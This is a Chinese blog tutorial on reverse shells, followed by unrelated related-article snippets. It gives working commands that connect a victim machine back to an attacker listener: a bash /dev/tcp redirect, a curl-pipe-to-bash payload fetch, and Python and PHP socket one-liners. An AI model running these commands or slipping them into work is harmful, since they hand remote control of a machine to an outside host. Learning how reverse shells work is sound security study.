当前位置: 首页 > news >正文

反弹Shell

概述

反弹shell(reverse shell)就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。

反弹shell通常适用于如下几种情况:

  • 目标机因防火墙受限,目标机器只能发送请求,不能接收请求。
  • 目标机端口被占用。
  • 目标机位于局域网,或IP会动态变化,攻击机无法直接连接。
  • 对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知的。

对于以上几种情况,我们是无法利用正向连接的,要用反向连接。所谓正向连接,就是攻击机去连目标机。那么反向连接就很好理解了,就是攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,即为反向连接。

反弹shell的方式有很多,那具体要用哪种方式还需要根据目标主机的环境来确定,比如目标主机上如果安装有netcat,那我们就可以利用netcat反弹shell,如果具有python环境,那我们可以利用python反弹shell。如果具有php环境,那我们可以利用php反弹shell。

基本流程

攻击者在自己的服务器上执行:

nc -lvnp 8888

攻击者拿下受害者的权限后,在受害者的机器上执行:

bash -i > /dev/tcp/攻击者的服务器ip/攻击者监听的端口(这里就是8888) 0>&1 2>&1

例子

机器ip地址
攻击机kali192.168.25.129
受害者ubuntu192.168.25.131

攻击机执行nc -lvnp 8888开启监听:
在这里插入图片描述

受害者执行bash -i > /dev/tcp/192.168.25.129/8888 0>&1 2>&1
在这里插入图片描述

攻击机回显:
在这里插入图片描述

可以看到已经成功反弹了shell,在kali这台机器上的命令提示符已经变成了ubuntu那台机器的了。查看ip地址发现正常回显受害者的ip。
在这里插入图片描述

解读

(1)nc -lvnp 8888
上面的nc命令也就是NetCat,在网络工具中有“瑞士军刀”美誉,其有Windows和Linux的版本。因为它短小精悍、功能实用,被设计为一个简单、可靠的网络工具,可通过TCP或UDP协议传输读写数据。
其常用参数如下:

  • -l 使用监听模式,管控传入的资料。
  • -v 显示指令执行过程。
  • -n 直接使用IP地址,而不通过域名服务器。
  • -p <通信端口> 设置本地主机使用的通信端口。

(2)bash -i
-i interactive。即产生一个交互式的shell(bash)。

(3) /dev/tcp/IP/PORT
特殊设备文件(Linux一切皆文件),实际这个文件是不存在的,它只是bash实现的用来实现网络请求的一个接口。打开这个文件就相当于发出了一个socket调用并建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。

(4)0>&1 2>&1

命令说明
command > file将输出重定向到 file。
n > file将文件描述符为 n 的文件重定向到 file。
n >& m将输出文件 m 和 n 合并。

一般情况下,每个 Unix/Linux 命令运行时都会打开三个文件:

  • 标准输入文件(stdin):stdin的文件描述符为0,Unix程序默认从stdin读取数据。
  • 标准输出文件(stdout):stdout 的文件描述符为1,Unix程序默认向stdout输出数据。
  • 标准错误文件(stderr):stderr的文件描述符为2,Unix程序会向stderr流中写入错误信息。

各种脚本反弹shell

curl配合bash

首先,在攻击者vps的web目录里面创建一个index文件(index.php或index.html),内容如下:

bash -i > /dev/tcp/服务器的ip/8888 0>&1 2>&1

并开启8888端口的监听:nc -lvnp 8888。然后再目标机上执行如下,即可反弹shell:

curl xxx.xxx.xxx.xxx|bash

python

当目标主机上有python环境时,我们可以用Python来反弹shell。Python在现在一般发行版Linux系统中都会自带,所以使用起来也较为方便,即使没有安装,我们手动安装也很方便。

攻击机开启本地监听:

nc -lvnp 8888

目标机主动连接攻击机:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("xxx.xxx.xxx.xxx",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

php

当目标主机上有php环境时,我们可以用php来反弹shell。

攻击机开启本地监听:

nc -lvnp 8888

目标机主动连接攻击机:

php -r '$sock=fsockopen("xxx.xxx.xxx.xxx",8888);exec("/bin/sh -i <&3 >&3 2>&3");'

相关文章:

反弹Shell

概述 反弹shell&#xff08;reverse shell&#xff09;就是控制端监听在某TCP/UDP端口&#xff0c;被控端发起请求到该端口&#xff0c;并将其命令行的输入输出转到控制端。reverse shell与telnet&#xff0c;ssh等标准shell对应&#xff0c;本质上是网络概念的客户端与服务端…...

Guava RateLimiter的限流机制详解

限流是保护高并发系统的三种有效方法之一。另外两个分别是缓存和降级。限流在很多场景中都会使用到限制并发数和请求数。例如&#xff0c;在限时抢购的情况下&#xff0c;限流可以保护您自己的系统和下游系统不被巨大的流量淹没。 限流的目的是通过限制并发访问或请求或者限制…...

详解nginx的root与alias

在Nginx中&#xff0c;root和alias指令都可以用来指定Web服务器中的文件根目录。不过&#xff0c;它们之间有一些关键的区别。 root指令指定的是服务器根目录&#xff0c;是用于处理HTTP请求时所使用的默认根目录。例如&#xff0c;若root /var/www/html;&#xff0c;则访问htt…...

在HBuilderX中配置Vue Router的步骤

以下是在HBuilderX中配置Vue Router的步骤&#xff1a; 在项目中安装Vue Router&#xff0c;可以使用npm或yarn命令进行安装。 在src目录下创建routers.js文件&#xff0c;并在该文件中编写路由相关代码&#xff0c;例如&#xff1a; import Vue from vue import Router from …...

通过接口抓取公众号信息并群发

总体步骤 通过非官方接口&#xff0c;登陆公众号获取cookie、token通过token拼接需要的参数&#xff0c;请求被抓取的公众号列表数据通过列表数据获取文章内容解析文章内容并通过官方接口创建草稿通过非官方接口群发创建的草稿(非认证用户&#xff0c;已认证用户可以通过官方接…...

Python基础入门----如何通过conda搭建Python开发环境

文章目录 使用 conda 搭建Python开发环境是非常方便的,它可以帮助你管理Python版本、依赖库、虚拟环境等。以下是一个简单的步骤,演示如何通过 conda 搭建Python开发环境: 安装conda: 如果你还没有安装 conda,首先需要安装Anaconda或Miniconda。Anaconda是一个包含很多数据…...

计算机网络的体系结构

目录 一. 计算机体系结构的形成二. 协议与层次划分2.1 数据传输过程2.2 什么是网络协议2.3 网络协议的三要素2.4 协议有两种形式2.4 各层协议2.5 什么是复用和分用 \quad 一. 计算机体系结构的形成 \quad 计算机网络是一个非常复杂的系统, 相互通信的两个计算机系统必须高度协调…...

cesium雷达扫描(模糊圆效果)

cesium雷达扫描(模糊圆效果) 1、实现思路 使用ellipse方法加载圆型,修改ellipse中‘material’方法重写自己的glsl来实现当前效果 1、示例源码 index.html <!DOCTYPE html> <html lang="en"><head><!<...

windows安装wsl2以及ubuntu

查看自己系统的版本 必须运行 Windows 10 版本 2004 及更高版本&#xff08;内部版本 19041 及更高版本&#xff09;或 Windows 11 才能使用以下命令 在设置&#xff0c;系统里面就能看到 开启windows功能 直接winQ搜 开启hyber-V、使用于Linux的Windows子系统、虚拟机平…...

音视频项目—基于FFmpeg和SDL的音视频播放器解析(十二)

介绍 在本系列&#xff0c;我打算花大篇幅讲解我的 gitee 项目音视频播放器&#xff0c;在这个项目&#xff0c;您可以学到音视频解封装&#xff0c;解码&#xff0c;SDL渲染相关的知识。您对源代码感兴趣的话&#xff0c;请查看基于FFmpeg和SDL的音视频播放器 如果您不理解本…...

键鼠自动化2.0树形结构讲解

介绍 在键鼠自动化2.0中使用Qtc实现了全自定义树形结构&#xff0c;实现任务的拖拽&#xff0c;复制粘贴&#xff0c;撤销重做&#xff0c;以及包括树形结构增加序号展示&#xff0c;以及增加搜索功能 实现 1.自定义节点 // 自定义节点类 class TreeNode : public QObject …...

2023年【金属非金属矿山安全检查(地下矿山)】考试报名及金属非金属矿山安全检查(地下矿山)最新解析

题库来源&#xff1a;安全生产模拟考试一点通公众号小程序 金属非金属矿山安全检查&#xff08;地下矿山&#xff09;考试报名参考答案及金属非金属矿山安全检查&#xff08;地下矿山&#xff09;考试试题解析是安全生产模拟考试一点通题库老师及金属非金属矿山安全检查&#…...

Java 12 及Tomcat 部署配置

使用的软件版本 1. Java12部署 和之前的Java版本不太一样&#xff0c;12版本不用配置JRE环境。 解压缩文件夹 root账户执行 tar -xzvf /home/software/jdk-12.0.2_linux-x64_bin.tar.gz创建java文件夹 root账户执行 cd /usr mkdir java移动Java文件到创建的文件夹下 root账…...

pandas教程:Date Ranges, Frequencies, and Shifting 日期范围,频度,和位移

文章目录 11.3 Date Ranges, Frequencies, and Shifting&#xff08;日期范围&#xff0c;频度&#xff0c;和位移&#xff09;1 Generating Date Ranges&#xff08;生成日期范围&#xff09;2 Frequencies and Date Offsets&#xff08;频度和日期偏移&#xff09;Week of mo…...

设计模式 - 概览

一、概念 分为三大类、23中具体设计模式。 类型原理具体模式创建型封装了具体类的信息&#xff0c;隐藏了类的实例化过程。 单例模式&#xff08;Singleton&#xff09; 工厂方法模式&#xff08;Factory Method&#xff09; 抽象工厂模式&#xff08;Abstract Factory&#xf…...

【Linux】Makefile

一、gcc 的缺点 gcc -o test a.c b.c我们具体分析&#xff1a;gcc -o test a.c b.c这条命令 它们要经过下面几个步骤&#xff1a; 1&#xff09;对于a.c&#xff1a;执行&#xff1a;预处理 编译 汇编 的过程&#xff0c;a.c >xxx.s >xxx.o 文件。2&#xff09;对于b.c…...

TS的函数如何定义类型

如何接受arguments参数 function add(...args: string[]) {let list4: IArguments arguments;}add(1, 2) 自定义一个args interface A1 {callee: Function,length: number,[index: number]: any}function adds(...args: string[]) {let list4: A1 arguments;}adds(1, 2) …...

xstream实现xml和java bean 互相转换

目录 pom引用java bean 类XML 转换工具类测试类执行结果注意问题 JAXB方式见&#xff1a; JAXB实现XML和Bean相互转换 Java中实现XML和Bean的转换的方式或插件有以下几种&#xff1a; JAXB&#xff08;Java Architecture for XML Binding&#xff09;&#xff1a;JAXB是Java …...

斯坦福机器学习 Lecture1 (机器学习,监督学习、回归问题、分类问题定义)

https://www.bilibili.com/video/BV1JE411w7Ub?p1&vd_source7a1a0bc74158c6993c7355c5490fc600 笔记如下 机器学习的定义&#xff1a;不需要明确编程就能让计算机去学习做某件事情 另一个定义 什么是监督学习&#xff1f; 给定一组 (x,y) 样本&#xff0c;学习一个 x-&g…...

五、Linux目录结构

1.基本介绍 1.Linux的文件系统是采用级层式的树状目录结构&#xff0c;在此结构中的最上层是根目录"r/"&#xff0c;然后在此目录下再创建其他的目录。 2.深刻理解linux树状文件目录是非常重要的 3.记住一句经典的话&#xff1a;在Linux世界里&#xff0c;一切皆文件…...

浏览器访问 AWS ECS 上部署的 Docker 容器(监听 80 端口)

✅ 一、ECS 服务配置 Dockerfile 确保监听 80 端口 EXPOSE 80 CMD ["nginx", "-g", "daemon off;"]或 EXPOSE 80 CMD ["python3", "-m", "http.server", "80"]任务定义&#xff08;Task Definition&…...

golang循环变量捕获问题​​

在 Go 语言中&#xff0c;当在循环中启动协程&#xff08;goroutine&#xff09;时&#xff0c;如果在协程闭包中直接引用循环变量&#xff0c;可能会遇到一个常见的陷阱 - ​​循环变量捕获问题​​。让我详细解释一下&#xff1a; 问题背景 看这个代码片段&#xff1a; fo…...

python爬虫:Newspaper3k 的详细使用(好用的新闻网站文章抓取和解析的Python库)

更多内容请见: 爬虫和逆向教程-专栏介绍和目录 文章目录 一、Newspaper3k 概述1.1 Newspaper3k 介绍1.2 主要功能1.3 典型应用场景1.4 安装二、基本用法2.2 提取单篇文章的内容2.2 处理多篇文档三、高级选项3.1 自定义配置3.2 分析文章情感四、实战案例4.1 构建新闻摘要聚合器…...

HarmonyOS运动开发:如何用mpchart绘制运动配速图表

##鸿蒙核心技术##运动开发##Sensor Service Kit&#xff08;传感器服务&#xff09;# 前言 在运动类应用中&#xff0c;运动数据的可视化是提升用户体验的重要环节。通过直观的图表展示运动过程中的关键数据&#xff0c;如配速、距离、卡路里消耗等&#xff0c;用户可以更清晰…...

在 Spring Boot 中使用 JSP

jsp&#xff1f; 好多年没用了。重新整一下 还费了点时间&#xff0c;记录一下。 项目结构&#xff1a; pom: <?xml version"1.0" encoding"UTF-8"?> <project xmlns"http://maven.apache.org/POM/4.0.0" xmlns:xsi"http://ww…...

AI语音助手的Python实现

引言 语音助手(如小爱同学、Siri)通过语音识别、自然语言处理(NLP)和语音合成技术,为用户提供直观、高效的交互体验。随着人工智能的普及,Python开发者可以利用开源库和AI模型,快速构建自定义语音助手。本文由浅入深,详细介绍如何使用Python开发AI语音助手,涵盖基础功…...

实战三:开发网页端界面完成黑白视频转为彩色视频

​一、需求描述 设计一个简单的视频上色应用&#xff0c;用户可以通过网页界面上传黑白视频&#xff0c;系统会自动将其转换为彩色视频。整个过程对用户来说非常简单直观&#xff0c;不需要了解技术细节。 效果图 ​二、实现思路 总体思路&#xff1a; 用户通过Gradio界面上…...

二维FDTD算法仿真

二维FDTD算法仿真&#xff0c;并带完全匹配层&#xff0c;输入波形为高斯波、平面波 FDTD_二维/FDTD.zip , 6075 FDTD_二维/FDTD_31.m , 1029 FDTD_二维/FDTD_32.m , 2806 FDTD_二维/FDTD_33.m , 3782 FDTD_二维/FDTD_34.m , 4182 FDTD_二维/FDTD_35.m , 4793...

Windows电脑能装鸿蒙吗_Windows电脑体验鸿蒙电脑操作系统教程

鸿蒙电脑版操作系统来了&#xff0c;很多小伙伴想体验鸿蒙电脑版操作系统&#xff0c;可惜&#xff0c;鸿蒙系统并不支持你正在使用的传统的电脑来安装。不过可以通过可以使用华为官方提供的虚拟机&#xff0c;来体验大家心心念念的鸿蒙系统啦&#xff01;注意&#xff1a;虚拟…...

python打卡day49@浙大疏锦行

知识点回顾&#xff1a; 通道注意力模块复习空间注意力模块CBAM的定义 作业&#xff1a;尝试对今天的模型检查参数数目&#xff0c;并用tensorboard查看训练过程 一、通道注意力模块复习 & CBAM实现 import torch import torch.nn as nnclass CBAM(nn.Module):def __init__…...